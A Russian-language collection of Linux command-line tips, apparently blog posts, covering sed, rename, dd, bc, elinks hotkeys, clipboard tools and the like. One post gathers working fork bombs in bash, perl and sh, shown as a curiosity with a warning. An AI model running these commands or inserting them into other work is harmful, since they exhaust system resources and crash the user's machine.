Командная строка

Изображение пользователя ramok.

Заменить повторяющиеся пустые строки на одну пустую строку

Tags: •  •  •  •  • 

Допустим у вас есть файл в котором множество повторяющихся пустых строк. А вам
хотелось бы повторяющиеся пустые строки заменить на одну пустую строку (что бы
было легче читать например).

sed -e ':a;/^$/N;/\n$/{D;ba}' file.txt

Примечание:


В *BSD системах, однострочник придется оформить так:
sed -e :a -e '/^$/N;/\n$/{D;ba' -e '}' file.txt

так как после имени метки и перед } необходим перевод строки.

Объяснение как это работает

Изображение пользователя ramok.

Боремся с писком в консоли

Tags: •  •  •  • 

Иногда когда судьба заносит людей в текстовую консоль, надолго запоминается громкий писк из PC-Speaker который сопровождает каждое неверное движение в настроенном по умолчанию bash Ж:-)

Отключить звук в консоли можно так:

setterm -blength

Массовое переименование файлов с пробелами и разными регистрами

Tags: •  •  • 

Переименование файлов с использованием перловых выражений s/// tr///

$ rename 'tr/ /_/;$_=lc;' *

команда переводит все файлы в директории в нижний регистр и заменяет " " на _

Как создать файл нужного размера

Tags: •  •  • 

Часто нужно создать файл заданного размера, не всегда есть возможность использовать самописный скриптик. Можно создать файл нужного размера с помощью dd

$ dd if=/dev/zero of=~/file count=1 bs=100M

пишем нули в file, всего 100M

Изображение пользователя ramok.

Коллекция форк бомб

Tags: •  • 

Время от времени в сети мне попадаются различные реализации форк бомб, и вот накопилась небольшая коллекция Ж:-)

Предупреждение: не уверен? не запускай!


1. bash
:(){ :|:&};:

2. perl
perl -MPOSIX -e '$pid=fork; exit if $pid; setid; fork while(1)'

3. sh создаем файлик с таким содержимым и запускаем его
#!/bin/sh
$0 & $0 &

4. sh by Anonymous
echo '. ./_&. ./_'>_;. ./_
придумал вариацию на тему
. ./_`echo . ./_\&. ./_>_`
Присылайте другие варианты Ж:-)
Изображение пользователя ramok.

Просмотр diff из потока в цвете

Tags: •  •  •  •  •  •  •  • 

Часто приходится смотреть diff не из файла, а из потока, например сформированный командой cvs diff или svn diff. Удобно в таком случае просматривать в цвете в vim, не записывая в файл, а прямо в потоке.

наример:
svn co svn://anonsvn.kde.org/home/kde/branches/KDE/3.5/kdelibs/kdecore/
cd kdecore
svn diff -r 181258:183456 kglobalaccel_x11.cpp | vim -

diff покажется красиво раскрашенным Ж:-)

PS

Логи в отдельной консоли

Tags: •  •  • 

Чтобы быстро посмотреть последние сообщения в логах - не обязательно писать в командной строке "tail /var/log/messages". Можно вместо этого выводить нужные сообщения в отдельную консоль. Для этого пропишите в файле /etc/syslog.conf

Изображение пользователя ramok.

Математически вычисления с плавающей точкой в консоли

Tags: •  • 
Иногда в скрипте необходимо посчитать что либо не целочисленное Ж:-) Самое простое это считать нужно с помощью практически стандартного консольного канкулятора bc с ключиком -l
$ echo "22/7" | bc -l
3.14285714285714285714
$
если вас не устраивает 20 символов после запятой, то можно изменить их кол-во командой bc
$ echo "scale=4; 22/7" | bc
3.1428
$
кстати максимальное кол-во знаков после запятой ограничено 2147483647 (в идеале) и кол-вом вашей оперативной памяти (в реале Ж:-)

на самом деле ключ -l подключает к bс стандартную математическую библиотеку С, и по умполчанию ставит scale=20.

за одно можно использовать множество математических функций типа cos, ln, exp....
Изображение пользователя ramok.

Именованный pipe замкнутый сам на себя

Tags: •  • 
Абсолютно бесполезный пример как можно замкнуть именованный пайп сам на себя. для демонстрации на каждой итерации добавляется пара >< что бы продемонстрировать что что-то таки происходит Ж:-)
Изображение пользователя ramok.

Горячие клавиши в elinks

Tags: •  •  • 

Подсмотреть горячие клавиши можно через меню: Справка -> Клавиши

стрелки вправо и влево - перейти по текущей линке и вернутся на предыдущую страницу соответственно

g - (go) запрос на вводе нового URL,
G - тоже смое что g, но при этом подставляется текущий URL. Удобно для того что бы подправить текущий,
E - тоже самое что G, но при этом подставляется URL который находится в текущей ссылке на котором стоит курсор,
% - переключать тип отображения цветов по кругу. у меня (без цвета -> 16 цветов -> 256 цветов)
. - вкл./выкл. нумерацию ссылок.
цифры - прыгнуть на ссылку с введенным номером
* - вкл./выкл. отображение [IMG] на месте изображений. Удобно для галерей Ж%-)
\ - показать/убрать код HTML текущей страницы
q - выйти
Q - выйти без запроса на выход

a - добавить страницу в букмарки
s - панель букмарков

d - скачать то на что ссыллается текущая ссылка
D - мененжер закачек

Поиск как в vi
/ - поиск
? - обратный поиск
n - найти следующее соответствие
N - найти предыдущее соответственные
# - поиск с пыжками на частично найденные слова

f - текущий фрейм на все окно

ps
это то что испольщую я постоянно, на самом деле всего намного больше Ж:-)

Изображение пользователя alexu.

Копирование содержимого файла в буфер обмена из командной строки

Tags: •  •  •  • 

Скопировать содержимое файла в буфер обмена в Linux, не используя выделение или Ctrl-C можно несколькими способами:
1) стандартный буфер X с помощью xclip
скопировать: cat file | xclip
вставить: xclip -o

2) стандартный буфер X с помощью xsel
скопировать: cat file | xsel
вставить: xsel

утилиты xsel и xclip очень похожи, но xsel имеет больше опций (несколько буферов, возможность работать с различными дисплеями, добавление в буфер к существующей информации, и т.д. За подробностями - в man xsel

3) буфер klipper от KDE:
скопировать: dcop klipper klipper setClipboardContents "$(cat file)"
вставить: dcop klipper klipper getClipboardContents

добавляйте свои способы ;)

Изображение пользователя alexu.

Автоматическое переименование закладок в Konsole

Tags: •  •  •  •  • 

Тем, кто использует Konsole для работы в командной строке, наверняка приходилось сталкиваться с тем, что Konsole нумерует закладки в стиле Shell#1, Shell#2 и т.д. Конечно, закладки можно переименовать, но это неудобно. Лучше было бы сделать это автоматически. Например, при логине на удаленную машину закладка переименовывалась бы в username @ hostname.

Как оказалось, данная возможность в Konsole имеется, но скрыта от глаз мирских (т.е. ее нельзя найти в опциях настроек). Для того, чтобы включить опцию в нужно сделать следующее:

для tcsh
alias sess 'echo "\033]30;\!*\007\c"'

для bash - добавить в .bashrc
export PS1=$PS1"\[\e]30;\w\a\]"
или если в закладке также хочется иметь имя хоста:
export PS1=$PS1"\[\e]30;\u at \H:\w\a\]"

Изображение пользователя ramok.

Редактирование сложных команда в bash и zsh

Tags: •  •  • 

Часто бывает что вам необходимо редактировать сложную команду в шеле. Например написать мини скрипт, или составить список файлов которые выхотите удалить в директории с большим кол-вом файлов и где не подходят маски.

В bash в режиме emacs(установленный по умолчанию) ctrl-x ctrl-e вызодвет редактор прописанный в переменной окружения EDITOR.

В zsh вы можете добится того же эффекта добавив в ~/.zshrc

autoload -U edit-command-line
zle -N  edit-command-line
bindkey -M emacs "^X^E" edit-command-line # для режима emacs
bindkey -M vicmd v edit-command-line      # для командного режима vi

Теперь в режиме emacs будет такоеже поведение как в bash. А в командном режиме vi достаточно нажать v

Изображение пользователя ramok.

Определение типа файла

Tags: •  • 
если вы друг нашли какой нибуть файл, и не знаете какого он типа(аудио, фильм, скрипт...), то определить тип файла поможет утилита file

для одного файла:
> file /bin/zsh
/bin/zsh:      ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV) for GNU/Linux
          2.4.1, dynamically linked (uses shared libs), for GNU/Linux 2.4.1, stripped
для нескольких файлов сразу:
> file bin/postit requiem_for_a_dream-lux_aeterna.mp3 goodye_lenin.avi  
bin/postit:        Bourne shell script text executable
requiem_for_a_dream-lux_aeterna.mp3:    MPEG ADTS, layer III, v1, 128 kBits, 
                                        44.1 kHz, JntStereo
goodbye_lenin.avi:                      RIFF (little-endian) data, 
                                        AVI, 512 x 288, 25.00 fps, video:
                             DivX 4, audio: MPEG-1 Layer 3 (stereo, 48000 Hz)
    
Изображение пользователя ramok.

Отображения размеров файлов и директорий в удобной для человека формe

Tags: •  • 
Многие команды юникса воспринмают фалаг -h, при котором цифровая информация выводится в удобной для человека форме(human readable), тоесть в килобайтах, мегабайтах, гигабайтах и так далее.

ramok:pts/20[~/ ls -lh .zshrc
-rw-r--r-- 1 ramok ramok 25K 2006-12-22 17:56 .zshrc
ramok:pts/20[~/
сразу видно что файл .zshrc занимает 25 килобайт
ramok:pts/16[~/ cd /home
ramok:pts/16[/home/ sudo du -hs *
32K     bat
60M     eggdrop
77M     ftp
80M     kirval
15G     ramok
24K     kostya
1,5G    lesha
40K     nwarrior
ramok:pts/16[/home/ 
видно кто больше всего отъедаем места на компьютере Ж:-)
я часто фильтрую что бы видеть только то что занимает гигабайты например
Изображение пользователя alexu.

Цветной gcc, make, и diff

Tags: •  •  •  • 

раз уж пошел разговор о цветах, то установив цветные фантики, можно также установить цветной gcc, make, и diff.
устанавливается пакетами:

colorgcc, colormake, colordiff

вызывается тоже с аналогичными именами. Мануалы пакетов содержат информацию о том, как перенастроить систему на использование данных оберток по умолчанию.

Изображение пользователя ramok.

Цветной вывод команд в консоли

Tags: •  • 

Устали от черно серого терминала(вариант: черно зеленого Ж:-)? Можно порадовать себя всевозможными способами в буквальном смысле разукрасить свою жизнь в консоли. Но как обычно этого может быть мало, и как всегда найдется человек доведший идею до мараз^W логического конца Ж:-)

Этот набор врапперов над более чем 80 самыми расспространенными программами(df, ping, gcc... так же наиболее часто используемыми файлами /etc/fstab, /var/log/messages...) который разукрашивает вывод этих команд в косоли. Читаем дальше...

Изображение пользователя ramok.

Сбор статистики о используемых скриптовых языках

Tags: •  •  •  •  •  • 
Абсолютно безполезный скрипт для сбора статистики о наиболее часто используемых скриптовых языках. Можно использовать эту информацию в холиворах или как аргумент в тяжелых раздумиях какой скпиптовый язык изучать Ж:-)
Вот некоторая статистика собранная на некоторых доступных мне машинах: ...
Изображение пользователя alexu.

Поиск и замена текста в нескольких файлах

Tags: •  •  •  •  • 

Чтобы заменить foo на bar в нескольких файлах, выполните следующую команду:

perl -pi~ -e 's/foo/bar/' [files]

Оригинальные файлы при этом будут сохраны с именами filename~

Изображение пользователя ramok.

Скриншот консоли

Tags: •  • 

Если консоль использует фреймбуффер, то можно воспользоваться программой fbgrab. Если же консоль обыкновенная текстовая, то достаточно просто прочитать содержимое экрана из соответствующего устройства. Например, чтобы сделать скриншот первой консоли, достаточно написать cat /dev/vcs1 > screen.txt. Если вместо /dev/vcs1 указать /dev/vcsa1, то кроме чистого текста в файл запишутся и цвета символов (буква 'a' в имени устройства связана с 'атрибутом символа'). Часто для успешного выполнения этой команды надо иметь права root. Еще один способ - использовать программу screen (которую весьма рекомендую не только по этой причине) и воспользоваться заложенными в нее возможностями.

by ams
PS
перенесено отсюда
http://rusmafia.org/linux/node/204#comment-350

RSS-материал